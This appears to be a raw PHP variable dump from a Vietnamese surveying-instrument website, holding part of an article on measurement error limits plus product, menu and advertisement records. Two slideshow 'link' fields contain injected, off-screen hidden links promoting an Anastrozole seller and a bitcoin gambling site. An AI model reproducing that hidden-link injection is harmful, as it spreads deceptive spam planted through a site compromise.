14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) $dm_c2 = array( (int) 0 => array( 'Catproduct' => array( 'id' => '50', 'name' => 'Ẩm ký tự ghi Fischer 325', 'parent_id' => '2', 'alias' => 'ảm-ký-tụ-ghi-fischer-325', 'images' => '20190702110514f5998f417e460b6a7ce6824a1984d84d.png', 'lft' => '28', 'rght' => '29', 'pos' => '1', 'status' => '1', 'title_seo' => 'Ẩm ký tự ghi Fischer 325', 'meta_key' => '', 'meta_des' => 'Model 325 Ẩm ký Fischer, model 325 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị độ ẩm không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu. Máy ẩm ký 325 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng. Đặc tính kỹ thuật - Kiểu bộ cảm ứng: Chùm tóc - Giải đo: Từ 0 đến 100% - Độ chính xác: ±3% - Độ phân giải: 5% - Kích thước: 290(R) x 145(S) x 190(C) mm ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'a-m-ky-tu-ghi-fischer-325', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '51', 'name' => 'Nhiệt ký tự ghi 525S', 'parent_id' => '2', 'alias' => 'nhiẹt-ký-tụ-ghi-525s', 'images' => '2019070211085423ef43a8ba7034f8b17f26f28a9a3792.png', 'lft' => '30', 'rght' => '31', 'pos' => '2', 'status' => '1', 'title_seo' => 'Nhiệt ký tự ghi 525S', 'meta_key' => '', 'meta_des' => 'Model 525S Nhiệt ký Fischer, model 525S do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị nhiệt độ không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu. Máy nhiệt ký 525S được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng. Đặc tính kỹ thuật - Kiểu bộ cảm ứng: Lưỡng kim - Giải đo: Từ -15oC đến +65oC - Độ chính xác: ±0.5oC - Độ phân giải: 1oC - Kích thước: 290(R) x 145(S) x 190(C) mm ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'nhie-t-ky-tu-ghi-525s', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '52', 'name' => 'Áp ký tự ghi 225', 'parent_id' => '2', 'alias' => 'áp-ký-tụ-ghi-225', 'images' => '2019070211103556032ed73bc73e646d09179b2face0ee.png', 'lft' => '32', 'rght' => '33', 'pos' => '3', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Model 225 Áp ký Fischer, model 225 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục sự biến đổi áp suất không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu. Máy áp ký 225 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng. Đặc tính kỹ thuật - Kiểu bộ cảm ứng: Chồng hộp Aneroid - Giải đo: Từ 955 đến 1055 hPa (hoặc tùy chọn) - Độ chính xác: ±0.7 hPa - Độ phân giải: 1 hPa - Kích thước: 290(R) x 145(S) x 190(C) mm - Trọng lượng: 2.5 kg ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'a-p-ky-tu-ghi-225', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '53', 'name' => 'Máy đo gió EL', 'parent_id' => '2', 'alias' => 'máy-do-gió-el', 'images' => '20190702112336d58b0b5c56b53be76e8104175a15ff97.png', 'lft' => '34', 'rght' => '35', 'pos' => '4', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => ' Máy đo gió model EL là loại máy đo gió điện tự báo dùng để đo tốc độ gió và hướng gió tức thời từ xa do nhà máy thiết bị khí tượng Thượng Hải – Trung Quốc sản xuất. Máy đo gió EL gồm 2 bộ phận chính: Bộ phận cảm ứng đặt ngoài trời và bộ phận chỉ thị đặt trong nhà. Hai bộ phận này được nối với nhau bằng một dây cáp điện nhiều sợi. Bộ phận cảm ứng tốc độ gió là một chong chóng kiểu gáo. Bộ phận cảm ứng hướng gió là một phong tiêu. Hai bộ phận này được thiết kế gắn liền nhau. Bộ phận chỉ thị có 2 đồng hồ. Đồng hồ bên trái chỉ thị tốc độ gió, đồng hồ bên phải chỉ thị hướng gió. Trên mặt đồng hồ chỉ tốc độ, hai thang độ mầu đỏ bên ngoài chỉ tốc độ gió bằng cấp Beaufort. Hai thang độ bên trong chỉ tốc độ gió bằng m/s. Một thang độ từ 0 – 20 m/s và một thang độ từ 0 – 40 m/s. Trên mặt đồng hồ chỉ hướng gió có 16 hướng và báo bằng đèn chỉ thị. Đặc tính kỹ thuật - Giải đo tốc độ: 2 – 40 m/s - Giải đo hướng: 16 hướng - Tốc độ khởi động: ≥ 1,5 m/s - Độ chính xác đo tốc độ: ±(0,5 + 0,05V) m/s - Độ chính xác đo hướng gió: ±11,15o - Nguồn điện: 220VAC, 12 VDC ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'ma-y-do-gio-el', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '54', 'name' => 'Vũ lượng ký chao lật SL3-1', 'parent_id' => '2', 'alias' => 'vũ-luọng-ký-chao-lạt-sl3-1', 'images' => '2019070211520866c4403e2b0403ad0c222c8e1226510c.png', 'lft' => '36', 'rght' => '37', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Vũ lượng ký chao lật SL3-1 Sản xuất tại : Thượng Hải-Trung Quốc Nguyên lý hoạt động: chao lật * Miệng hứng 200cm2 * Dải đo : 0,1- 4mm/phút * Độ chính xác: ±0,4mm(≤ 10mm ) * Khung máy bằng thép * Vỏ máy bằng inox * Điện nguồn 220V AC/50Hz hoặc 12VDC Thiết bị bao gồm : * Bộ cảm ứng * Đầu đo mưa SL3-1 vật liệu Inox * Bộ tự ghi tự báo và cáp số liệu 100m. * Phụ kiện thay thế và tài liệu kỹ thuật * Giản đồ sử dụng cho 1 năm * Chân đế lắp đặt máy ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'vu-luo-ng-ky-chao-la-t-sl3-1', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '55', 'name' => 'Nhật Quang ký CamBell Stokes', 'parent_id' => '2', 'alias' => 'nhạt-quang-ký-cambell-stokes', 'images' => '2019070211564976eeed280f64fd4a67c3f0fd6b9f0ada.png', 'lft' => '38', 'rght' => '39', 'pos' => '6', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Máy ghi thời gian nắng Máy ghi thời gian nắng model 1603 kiểu Campbell Stokes do hãng Lambrecht – Germany sản xuất. Đây là thiết bị tự ghi loại cơ học, dùng để ghi liên tục thời gian nắng trong ngày. Máy được thiết kế chắc chắn, dễ lắp đặt, dễ sử dụng và hầu như không cần phải chăm sóc, bảo dưỡng, ngoài việc lau bụi. Máy sử dụng nguyên lý hội tụ ánh sáng mặt trời để đốt cháy giản đồ thành vết theo thời gian có nắng. Đặc tính kỹ thuật Phần tử đo: Quả cầu thủy tinh Dùng cho các vĩ độ từ 0ođến 40ocả Bắc và Nam bán cầu. Trọng lượng: 5.7 kg Giản đồ kèm theo: 380 tờ (140 tờ cho mùa Đông, 140 tờ cho mùa Hè và 100 tờ cho mùa Thu và mùa Xuân) ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'nha-t-quang-ky-cambell-stokes', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Catproduct' => array( 'id' => '56', 'name' => 'Máy đo độ mặn YSI -30', 'parent_id' => '2', 'alias' => 'máy-do-dọ-mạn-ysi-30', 'images' => '20190702115840249de45b2f39b6a48cdc586688773b3e.png', 'lft' => '40', 'rght' => '41', 'pos' => '7', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Xuất xứ: Mỹ * Dải đo: + Độ muối: 0 - 80 ppt + Độ dẫn: 0mS - 200mS + Nhiệt độ: -5 - + 95oC + TDS: 0 đến 100g/l * Độ chính xác: + Độ muối: 0.1 ppt + Độ dẫn: +/- 0.5% toàn dải + Nhiệt độ: +0.1oC * Bao gồm: Máy chính, đầu dò + cáp dài 3m, ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'ma-y-do-do-ma-n-ysi-30', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Catproduct' => array( 'id' => '48', 'name' => 'Áp kế hộp hiện số', 'parent_id' => '2', 'alias' => 'ap-ke-hop-hien-so', 'images' => '2019070207393144f2378f4b0651daf2cb4fa277e4695e.jpg', 'lft' => '26', 'rght' => '27', 'pos' => '8', 'status' => '1', 'title_seo' => 'Máy đo gió', 'meta_key' => '', 'meta_des' => 'Model PTB330', 'created' => '2019-07-02', 'modified' => '2019-07-04', 'slug' => 'ap-ke-hop-hien-so', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Catproduct' => array( 'id' => '57', 'name' => 'Máy đo tốc độ và hướng gió', 'parent_id' => '2', 'alias' => 'máy-do-tóc-dọ-và-huóng-gio', 'images' => '2019070402434746227ca5c688200b321f5a8b74982c41.png', 'lft' => '42', 'rght' => '43', 'pos' => '9', 'status' => '1', 'title_seo' => 'Máy đo tốc độ và hướng gió', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'ma-y-do-to-c-do-va-huo-ng-gio', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Catproduct' => array( 'id' => '58', 'name' => 'Máy tự ghi, tự báo mực nước', 'parent_id' => '2', 'alias' => 'máy-tụ-ghi-tụ-báo-mục-nuóc', 'images' => '20190704024855debca9dbc88ddc0c6108e7e1bbabcc12.png', 'lft' => '44', 'rght' => '45', 'pos' => '10', 'status' => '1', 'title_seo' => 'Máy tự ghi, tự báo mực nước', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'ma-y-tu-ghi-tu-ba-o-mu-c-nuo-c', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 10 => array( 'Catproduct' => array( 'id' => '59', 'name' => 'Máy lưu tốc kế LS68 + chuông', 'parent_id' => '2', 'alias' => 'may-luu-toc-ke-ls68-chuong', 'images' => '201907040253294baefbf059489b4794a34aee2c9e3fbd.png', 'lft' => '46', 'rght' => '47', 'pos' => '11', 'status' => '1', 'title_seo' => 'Máy lưu tốc kế LS68 + chuông', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'may-luu-toc-ke-ls68-chuong', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 11 => array( 'Catproduct' => array( 'id' => '60', 'name' => 'Máy đo mực nước Stevens', 'parent_id' => '2', 'alias' => 'máy-do-mục-nuóc-stevens', 'images' => '201907040254500acecb86d3b3fab2fea045403bedfb1f.png', 'lft' => '48', 'rght' => '49', 'pos' => '12', 'status' => '1', 'title_seo' => 'Máy đo mực nước Stevens', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'ma-y-do-mu-c-nuo-c-stevens', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 12 => array( 